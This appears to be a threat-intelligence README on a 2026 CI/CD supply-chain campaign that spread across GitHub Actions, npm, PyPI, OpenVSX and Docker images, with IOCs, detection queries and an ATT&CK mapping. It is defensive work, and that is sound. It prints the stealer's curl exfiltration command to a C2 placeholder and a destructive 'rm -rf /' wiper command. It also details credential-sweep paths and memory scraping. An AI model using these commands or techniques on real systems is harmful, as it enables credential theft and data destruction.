CVE-2026-33634 (CVSS 9.4) — The most impactful CI/CD supply chain attack of 2026 so far.
Between March 19–25, 2026, threat actor TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CanisterWorm) executed a cascading supply chain compromise across five ecosystems: GitHub Actions, Docker Hub, OpenVSX, npm, and PyPI. Starting from a single incompletely-rotated GitHub PAT, the campaign spread across two major open-source security vendors (Aqua Security and Checkmarx), four GitHub Actions repositories, two VS Code extensions, container registries, and 66+ npm packages.
This repository provides a full technical breakdown, curated IOC lists (FP-tested), and detection queries ready to deploy in Microsoft Defender XDR.
- Attack Timeline
- Kill Chain Breakdown
- Compromised Artifacts
- Credential Stealer Mechanics
- CanisterWorm — npm Propagation
- Iran-Targeted Wiper Component
- Detection & Hunting
- IOC List
- FP Filtering Notes
- MITRE ATT&CK Mapping
- References
| Date (UTC) | Event |
|---|---|
| Feb 20, 2026 | hackerbot-claw account created; begins scanning repos for exploitable pull_request_target workflows |
| Feb 28, 2026 | First Trivy compromise via PWN request; credentials exfiltrated |
| Mar 1, 2026 | Aqua Security attempts containment — credential rotation incomplete |
| Mar 19, 17:43 | Main strike: TeamPCP force-pushes 75/76 tags in aquasecurity/trivy-action + all 7 tags in setup-trivy via compromised aqua-bot service account |
| Mar 19, 18:22 | Backdoored Trivy v0.69.4 published to GitHub Releases, Docker Hub, GHCR, ECR |
| Mar 20, 05:40 | Trivy-action compromise window closes (~12 hours) |
| Mar 20, 20:45 | CanisterWorm detected spreading across npm — 47+ packages compromised |
| Mar 22, 20:31 | TeamPCP defaces all 44 repos in aquasec-com GitHub org in a scripted 2-minute burst |
| Mar 22 | Docker Hub images 0.69.5 and 0.69.6 pushed with same stealer payload |
| Mar 23, 02:53 | Checkmarx wave begins: Malicious ast-results v2.53.0 and cx-dev-assist v1.7.0 published to OpenVSX via ast-phoenix account |
| Mar 23, 12:58 | All 35 tags of Checkmarx/kics-github-action force-pushed via compromised cx-plugins-releases account |
| Mar 23, 15:41 | Checkmarx reports OpenVSX issue resolved |
| Mar 23, 16:50 | KICS GitHub Action taken down after user report |
| Mar 23, 22:25 | Sysdig reports Checkmarx/ast-github-action v2.3.28 also compromised |
| Mar 24, 08:30 | LiteLLM wave: Trojanized litellm v1.82.7 and v1.82.8 published to PyPI using stolen credentials |
| Mar 24, 11:25 | PyPI quarantines malicious LiteLLM versions |
Root cause: incomplete credential rotation after the February 28 breach. The aqua-bot service account PAT was either not revoked or the attacker observed the new token during rotation.
TeamPCP used this retained access to force-push version tags to malicious imposter commits. Each forged commit cloned the original's metadata (author, timestamp, message) while replacing the entry point script with the stealer payload. GitHub's release page showed no visible change — even the "Immutable" badge displayed normally.
The stealer — a 204-line entrypoint.sh self-identified as "TeamPCP Cloud stealer" — runs a three-stage attack:
Stage 1: Memory Scraping
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Stage 2: Filesystem Credential Sweep
Scans 50+ sensitive paths including:
- SSH keys (
~/.ssh/*) - AWS/GCP/Azure credentials
- Kubernetes tokens and configs
- Docker registry credentials
- Terraform state files
- Crypto wallets (Solana, Bitcoin, Ethereum, Cardano)
- npm tokens (
~/.npmrc) - Shell histories
.envfiles
Stage 3: Encrypted Exfiltration
- Bundles all harvested data into
tpcp.tar.gz - Encrypts with AES-256-CBC (random session key) + RSA-4096/RSA-OAEP (attacker's public key)
- Exfiltrates via
curl POSTto vendor-specific typosquat domains - Fallback: creates
tpcp-docsordocs-tpcprepo in victim's GitHub account using stolenGITHUB_TOKEN
On non-CI Linux systems, the malware:
- Creates hidden directory
~/.config/sysmon/ - Drops a Python backdoor (
sysmon.py) - Installs a systemd user service that polls C2 every 50 minutes
- Kill switch: if C2 response contains "youtube", backdoor skips execution
Stolen credentials from the Trivy wave enabled compromise of Checkmarx's ecosystem. Each new wave used a different typosquat C2 domain to evade blocklists from the previous wave:
| Wave | C2 Domain | Typosquat Of |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org |
aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone |
checkmarx.com |
| LiteLLM | models.litellm[.]cloud |
litellm.ai |
| Repository | Tags Compromised | Exposure Window (UTC) | Entry Point |
|---|---|---|---|
aquasecurity/trivy-action |
75 of 76 (safe: 0.35.0) |
Mar 19 17:43 – Mar 20 05:40 | entrypoint.sh |
aquasecurity/setup-trivy |
All 7 tags | Mar 19 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action |
All 35 tags | Mar 23 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action |
v2.3.28 (likely all) | Mar 23 ~22:25+ | setup.sh |
| Extension | Malicious Version | Safe Version |
|---|---|---|
checkmarx.ast-results |
2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist |
1.7.0 | >= 1.10.0 |
Both extensions were published 12 seconds apart at 12:53 UTC on March 23 via the ast-phoenix account. On activation, environmentAuthChecker.js checks for cloud provider credentials, then pulls a second-stage stealer from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Image | Malicious Tags |
|---|---|
docker.io/aquasec/trivy |
0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy |
0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy |
0.69.4, 0.69.5, 0.69.6 |
| Package | Versions | Backdoored File |
|---|---|---|
litellm |
1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Triple-nested base64 payload with K8s lateral movement toolkit. Persistence via sysmon.service polling checkmarx.zone/raw.
The exfiltration pattern is identical across all waves:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gzThe typosquat domain strategy is deliberate: an analyst reviewing CI/CD logs sees curl traffic to what looks like the action's own vendor domain. Without careful comparison, scan.aquasecurtiy.org passes for aquasecurity.org in a fast log review.
Only the attacker can decrypt stolen data — the AES session key is RSA-OAEP encrypted with their public key.
Within 24 hours of the Trivy compromise, stolen npm tokens enabled a self-propagating worm across 66+ packages (141 malicious artifacts).
What makes CanisterWorm notable:
- First documented npm malware using an ICP (Internet Computer Protocol) blockchain canister as C2
- The canister at
tdtqy-oyaaa-aaaae-af2dq-caiis a decentralized smart contract — no single takedown point - Exposes 3 methods:
get_latest_link,http_request,update_link - Attacker can rotate payloads on all infected machines without republishing any npm package
- Kill switch: if canister returns a URL containing
youtube.com, backdoor sleeps - Persistence: systemd user service masquerading as
pgmon(PostgreSQL monitoring) - Polling interval: every 50 minutes
- Binary dropped to
/tmp/pglog, state tracked in/tmp/.pg_state
Known compromised scopes: @emilgroup/*, @teale.io/* (self-propagating variant in @teale.io/eslint-config v1.8.11, v1.8.12)
A destructive variant targets Iranian systems specifically:
- Kubernetes + Iran: deploys privileged DaemonSets across every node (including control plane), wipes and force-reboots via container named
kamikaze - Kubernetes + non-Iran: installs CanisterWorm backdoor as systemd service
- Non-K8s + Iran: executes
rm -rf / --no-preserve-rootwith sudo - Non-K8s + non-Iran: no action
Detection is via system timezone and locale checks.
Rule name: TeamPCP Supply Chain C2 and Malware IOC Match
Severity: High
Category: CommandAndControl
Frequency: Every 1 hour
See detection/defender_xdr_query.kql for the full KQL query.
The query covers:
- 7 SHA256 file hashes (stealer + CanisterWorm variants)
- 2 C2 IP addresses
- 4 C2 domains (typosquats + ICP canister)
- 4 specific C2 URLs
- DNS resolution checks
A ready-to-import CSV is provided at iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. This file has been FP-tested against a production enterprise environment.
| Platform | Detection |
|---|---|
| Palo Alto Cortex XDR | Rule ioc.linux.shaihulud.2 — credential-access on GitHub Action runners |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, Curl Exfiltrating File, Exfiltration of AWS IMDS Credentials Using LOTL Binary |
| Hash | Description | Source |
|---|---|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a |
Trivy malicious entrypoint.sh |
Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 |
CanisterWorm Wave 4 — final form | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a |
CanisterWorm Wave 3 — self-propagating test | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba |
CanisterWorm Wave 2 — armed ICP backdoor | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 |
CanisterWorm Wave 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 |
CanisterWorm Wave 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 |
CanisterWorm Wave 3+ — deploy.js minified | Aikido Security |
| Indicator | Type | Purpose |
|---|---|---|
83.142.209.11 |
IP | C2 server (checkmarx.zone) |
45.148.10.212 |
IP | C2 server (scan.aquasecurtiy.org) |
checkmarx[.]zone |
Domain | C2 — Checkmarx/KICS/LiteLLM wave |
scan.aquasecurtiy[.]org |
Domain | C2 — Trivy wave |
models.litellm[.]cloud |
Domain | C2 — LiteLLM PyPI wave |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io |
Domain | ICP canister dead-drop C2 |
| URL | Function |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz |
Second-stage payload download |
checkmarx[.]zone/vsx |
Exfiltration endpoint |
checkmarx[.]zone/raw |
Persistence polling (50 min) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ |
ICP canister C2 |
| Path | Purpose |
|---|---|
~/.config/sysmon/ |
Backdoor directory |
~/.config/sysmon.py |
Python backdoor |
~/.config/systemd/user/sysmon.service |
Systemd persistence |
~/.config/systemd/user/pgmon.service |
CanisterWorm persistence (PostgreSQL masquerade) |
/tmp/pglog |
Downloaded binary |
/tmp/.pg_state |
C2 polling state |
| Name | Wave |
|---|---|
tpcp-docs |
Trivy |
docs-tpcp |
Checkmarx |
The detection queries and IOC CSV in this repo have been tested against a production environment running:
- Ansible AWX/Tower with community.general and kubernetes.core collections
- Claude Code and GitHub Copilot on macOS developer workstations
- FortiMonitor agent (IMDS polling)
- Oracle AHF on OCI instances (IMDS polling)
- Various Python/Node.js development toolchains
The following IOCs were removed due to confirmed false positives:
| IOC | FP Source |
|---|---|
setup.sh (filename) |
Ansible collections, Claude Code plugin cache, Bitnami scripts |
service.py (filename) |
Ansible module_utils, protobuf, boto3, FreeIPA, K8s core |
deploy.js (filename) |
Standard npm/node file |
169.254.169.254 (IMDS IP) |
FortiMonitor agent, Oracle AHF — legitimate monitoring |
icp0.io (parent domain) |
Too broad, catches legitimate ICP traffic |
hooks.slack.com (cmdline) |
Legitimate Slack integrations |
discord.com/api/webhooks (cmdline) |
Legitimate Discord integrations |
| Technique | ID | Context |
|---|---|---|
| Supply Chain Compromise: Software Dependencies | T1195.002 | GitHub Actions tag poisoning, OpenVSX, npm, PyPI |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | AWS IMDS theft from CI runners |
| Credentials from Password Stores | T1555 | Filesystem credential sweep (50+ paths) |
| OS Credential Dumping | T1003 | Runner.Worker /proc/mem scraping |
| Exfiltration Over C2 Channel | T1041 | Encrypted tpcp.tar.gz to typosquat domains |
| Web Service | T1102 | ICP canister dead-drop C2 |
| Systemd Service | T1543.002 | pgmon.service, sysmon.service persistence |
| Ingress Tool Transfer | T1105 | checkmarx-util-1.0.4.tgz download |
| Acquire Infrastructure: Domains | T1583.001 | Per-wave typosquat domains |
MIT — Use, share, adapt freely. Attribution appreciated.
Author: Ugur Can Ates — SOC Team Lead & Senior Security Engineer
Last Updated: March 25, 2026